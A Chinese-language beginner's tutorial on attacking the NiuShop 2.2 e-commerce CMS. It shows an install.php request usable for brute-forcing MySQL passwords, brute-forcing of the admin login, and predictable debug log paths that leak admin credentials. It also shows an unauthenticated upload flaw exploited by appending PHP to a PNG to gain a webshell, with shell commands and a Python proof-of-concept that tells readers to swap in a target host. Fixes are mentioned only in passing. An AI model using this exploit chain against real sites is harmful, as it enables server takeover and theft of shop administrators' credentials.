本文适合0基础玩家。

0x01 环境搭建

Code:http://www.niushop.com.cn/download.html

Version:单商户 2.2

测试环境:MacOS 10.14 + MAMP Pro + BurpSuite + FileMonitor

0x02 黑盒测试

0x02_1 安装测试

下图为改数据包发送后的文件变化

关键步骤的数据包 每进行一步骤通过Action发送到Repeater保存一份 注意通过FileMonitor观察文件变化 正常完成后再通过Repeater重新发送数据包并观察文件变化。

通过重新发送前面的数据包发现 即便已经安装 仍可以通过该数据包验证爆破mysql密码(如果mysql密码正确 此处返回值为1 错误为0) 归咎与逻辑错误 不算漏洞(如果外网可连接mysql 何必通过此处爆破)

POC:

GET /install.php?action=true&dbserver=127.0.0.1&dbpassword=yourpassowd&dbusername=root&dbname=niushop_b2c HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Android 9.0; Mobile; rv:61.0) Gecko/61.0 Firefox/61.0
Accept: */*
Accept-Language: en
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/install.php?refresh
X-Requested-With: XMLHttpRequest
Connection: close
Cookie: action=db

验证另外几个数据包发现文件并无变化 暂定为此处无漏洞。

0x02_2 后台测试

后台登录建议讲数据包发送到Repeater进行多次发送 观察时候会有验证码等限制 测试后台是否可爆破 此处经过测试 可爆破

Python Poc:

同时注意观察文件变化

如图 发现会写出日志且目录命名简单 可猜解

http://host.com/runtime/log/201901/03.log

即为 域名 + /runtime/log/ + 年月 + / + 号数 + .log

可访问查看是否存在敏感信息泄露

如图 发现日志泄露了管理登录账号密码

第一枚漏洞Get。

继续后台功能测试

从第一个功能开始测试 每个功能均使用一遍 持续观察文件变化!重要的数据包保存一份 重发测试。

经过使用功能时发现 此处仅不可直接上传php文件 但是可在Repeater中修改图片为php继续上传 将php文件修改为png格式后上传不通过 说明此处上传只做了前端限制和检查了文件头 此处先上传正常图片 然后修改后缀以及文件中间的内容为php代码来Getshell。

需要注意此时时需要后台权限的 可尝试修改后删除cookie测试上传能否继续完成。

通过多次修改和观察发现 删除Cookie后可继续上传 但是如过度删除图片内容 会导致php文件虽然写入成功 但是路径无法返回 根据监控到的文件变化来看 此处以文件hash命名导致无法爆破到路径 可结合前面的日志泄露查找shell地址。此处总结为可前台Getshell但是利用麻烦。

通过Photoshop生成一张尺寸最小的图片(约64个字节)后进行尝试 发现其实最要把php文件追加到图片后面就可以了

命令

Windows:type phpinfo.php >> poc.png
MacOS/Linux:cat phpinfo.php >> poc.png

至此 该CMS前台Getshell完成。

其余功能测试同理。

0x03 代码分析

整理一下前面的漏洞

if($_GET['action']){
    $dbserver = $_GET['dbserver'];
    $dbusername = $_GET['dbusername'];
    $dbpassword = $_GET['dbpassword'];
    $dbname = $_GET['dbname'];
    $link = mysql_connect($dbserver, $dbusername, $dbpassword);
    $query = mysql_query("SHOW DATABASES LIKE  '{$dbname}';");
    //                  var_dump($query);
    if(mysql_fetch_assoc($query) != false){
        //说明数据库已经存在
        echo 1;
        exit();
    }else{
        echo 0;
        exit();
    }
}
$actions = array('license', 'env', 'db', 'finish');
$action = $_COOKIE['action'];
$action = in_array($action, $actions) ? $action : 'license';
$ispost = strtolower($_SERVER['REQUEST_METHOD']) == 'post';
if(file_exists(IA_ROOT . '/install.lock') && $action != 'finish') {
    header('location: ./index.php/shop');
    exit;
}

显而易见 在判断install.lock文件是否存在之前就进行数据库验证 不受install.lock的影响 属于逻辑问题 调整一下代码的位置或删除install.php即可修复。

public function index()
    {
        $debug = config('app_debug') == true ? '开发者模式' : '部署模式';
        $this->assign('debug', $debug);
        $main = \think\Request::instance()->domain();
        $this->assign('main', $main);
        // 销售排行
        $goods_rank = $this->getGoodsRealSalesRank();
        $this->assign("goods_list", $goods_rank);
        $this->assign("is_index", true);

        //快捷菜单选项
        $config_service = new Config();
        $shortcut_menu_list = $config_service->getShortcutMenu($this->instance_id, $this->uid);
        $this->assign('shortcut_menu_list',$shortcut_menu_list['data']);

        //快捷菜单id数组
        $selected_ids = [];
        foreach($shortcut_menu_list['data'] as $key=>$val){
            $selected_ids[] = $val['module_id'];
        }
        $this->assign('selected_ids',$selected_ids);

        $this->assign('is_show_shortcut_menu',1);

        $this->getSystemConfig();

        return view($this->style . 'Index/index');
    }

如42行所示app_debug模式默认为true 为开启状态 改cms是基于thinkphp编写的 debug模式会写出调试日志。厂商和用户均可将修改为app_debug修改为false再上线 以解决此问题

// 验证文件
        if (! $this->validationFile()) {
            return $this->ajaxFileReturn();
        }
        $guid = time();
        $file_name_explode = explode(".", $this->file_name); // 图片名称
        $suffix = count($file_name_explode) - 1;
        $ext = "." . $file_name_explode[$suffix]; // 获取后缀名
                                                  // 获取原文件名
        $tmp_array = $file_name_explode;
        unset($tmp_array[$suffix]);
        $file_new_name = implode(".", $tmp_array);
        $newfile = md5($file_new_name . $guid) . $ext;

后台明没有后缀限制 上传成功后的新文件($newfile) 的后缀是从源文件中$ext取出来的 导致了后缀可控

0x04 Poc编写

import requests

session = requests.Session()

paramsGet = {"s":"/wap/upload/photoalbumupload"}
paramsPost = {"file_path":"upload/goods/","album_id":"30","type":"1,2,3,4"}
paramsMultipart = [('file_upload', ('themin.php', "\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR\x00\x00\x00\x01\x00\x00\x00\x01\x08\x06\x00\x00\x00\x1f\x15\xc4\x89\x00\x00\x00\x0bIDAT\x08\x99c\xf8\x0f\x04\x00\x09\xfb\x03\xfd\xe3U\xf2\x9c\x00\x00\x00\x00IEND\xaeB`\x82<? php phpinfo(); ?>", 'application/octet-stream'))]
headers = {"Accept":"application/json, text/javascript, */*; q=0.01","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (Android 9.0; Mobile; rv:61.0) Gecko/61.0 Firefox/61.0","Referer":"http://127.0.0.1/index.php?s=/admin/goods/addgoods","Connection":"close","Accept-Language":"en","Accept-Encoding":"gzip, deflate"}
cookies = {"action":"finish"}
response = session.post("http://127.0.0.1/index.php", data=paramsPost, files=paramsMultipart, params=paramsGet, headers=headers, cookies=cookies)

print("Status code:   %i" % response.status_code)
print("Response body: %s" % response.content)

将poc种的127.0.0.1替换成目标即可

懒人攻略:用附录中的burp插件scriptgen-burp-plugin-6.jar即可快捷生成

0x05 附录

源链接

Hacking more

...